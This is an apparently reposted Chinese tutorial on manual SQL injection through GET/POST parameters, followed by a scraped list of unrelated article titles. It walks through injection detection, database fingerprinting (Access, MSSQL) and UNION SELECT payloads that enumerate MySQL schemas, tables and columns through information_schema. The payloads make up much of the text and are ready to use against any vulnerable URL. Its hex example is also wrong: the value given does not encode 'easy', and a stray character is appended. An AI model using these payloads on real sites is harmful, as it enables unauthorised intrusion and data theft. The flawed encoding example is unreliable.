sql注入之GET/POST注入
来源:互联网 发布:网络教育文凭事业单位 编辑:程序博客网 时间:2024/06/05 00:58
针对不同数据库,语句有所不同,但是思路大致相同
第一步判断网站是否存在注入,
如 www.xxx.com/news.php?id=10 这个网址,使用and 1=1,and 1=2 判断是否存在注入
还需要判断数据库类型,在网址后面加上单引号,看报错情况,如果显示Microsoft JET Database错误,则是Access数据库,如果显示ODBC类型,则是MSSQL数据库
另一种方法,如果已经判断该地址存在注入,在后面加上 ;–,例如 www.xxx.com/news.php?id=10;–,提交网址如果页面返回正常,则是MSSQL数据库,因为MSSQL数据库中, ;和–都是存在的,;用于分离两个语句,而–用于注释, 可是在ACCESS数据库中,;则被当成参数带入查询,所以会报错。
如果这两种方法都不成功,就利用两种数据库的差异判断
www.xxx.com/news.php?id=10 and (select count (*) from sysobjects)>0www.xxx.com/news.php?id=10 and (select count (*) from msysobjects)>0
第一条语句如果返回正常,则说明是MSSQL数据库,这条语句是查询mssql数据库中表sysobject里的数据是否大于0,sysobject表是MSSQL、自带的表,所以这条查询语句正确,返回页面正常,这个表只有MSSQL数据库里才有,所以如果是ACCESS数据库就会报错,第二条语句同理,msyobjects表是ACCESS数据库独有的,但是注意就算是ACCESS数据库,也会返回错误,因为普通用户没有权限访问,注意如果该语句报错是说没有权限,那就是ACCESS数据库
总结就是,第一条语句返回正确,第二条语句返回错误,则是MSSQL数据库,两条语句都返回错误,而且错误类型不一样,则是ACCESS数据库。
判断数据库还有很多种方法,具体情况再考虑,还有很多不同的方法。
查询数据库表的数目
order by
爆字段位置
and 1=2 union select 1,2,3.....n
利用内置函数暴数据库信息
version() database() user()
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1
查数据库名:select database()
Union select 1,database(),3,4,5
查到数据库名称 假设为easy。
查数据库名为easy下面的表名 ( 注意数据库名称要用 16进制编码 如果easy的十六进制编码为0x66616E6B65) 则查询语句为:
union select 1,table_name,3,4,5 from information_schema.tables where table_schema=0x66616E6B65x
information_schema.tables:存储mysql数据库下面的所有表名信息的表
table_schema: 数据库名
Table_name: 表名
查user表名下的列名信息:
union select 1,column_name,3,4,5 from information_schema.columns where table_name=0x75736572
column_name:列名
information_schema.columns :存储mysql数据库下面的所有列名信息的表
手工注入还有很多语句,针对不同情况要考虑不同语句,有时候需要大量测试,如果针对可入住地址而且需要大量测试,工具可以帮忙。
- sql注入之GET/POST注入
- SQL注入之POST型常规注入
- SQL注入之GET型常规注入
- SQL注入--GET注入
- SQL注入系列之PHP+Mysql手动注入(三)----搜索型(POST/GET)
- 简单防Get OR Post SQL注入
- get post注入原理
- (学习)SQL注入-POST注入
- 注入攻击之sql注入
- SQL注入之联合注入
- SQL注入之堆叠注入
- SQL注入之cookie注入
- SQL注入之cookie注入
- SQL注入之报错型注入
- 简单post注入之成绩单
- SQL 注入之ACCESS
- ibatis之sql注入
- SQL注入之我见
- Discuz API&JSON 适用于IOS及Android移动端开发
- RHEL6.4(或CentOS 6)源码安装Git2.9.3
- BGAQRCode-Android的简单使用
- Linux必学的60个命令(六)
- 不用VPN上Google的方法
- sql注入之GET/POST注入
- Fragment的基本使用
- 【开放mysql远程连】 报错:1130-host ... is not allowed to connect to this MySql server 不使用localhost
- 在service里发送notification并传递参数
- 模仿tmall主页效果 做的一个轮播
- spring 配置 druid 实例
- Java设计模式笔记之抽象工厂模式
- Android5.x Notification应用解析
- 1062. 最简分数(20)-PAT乙级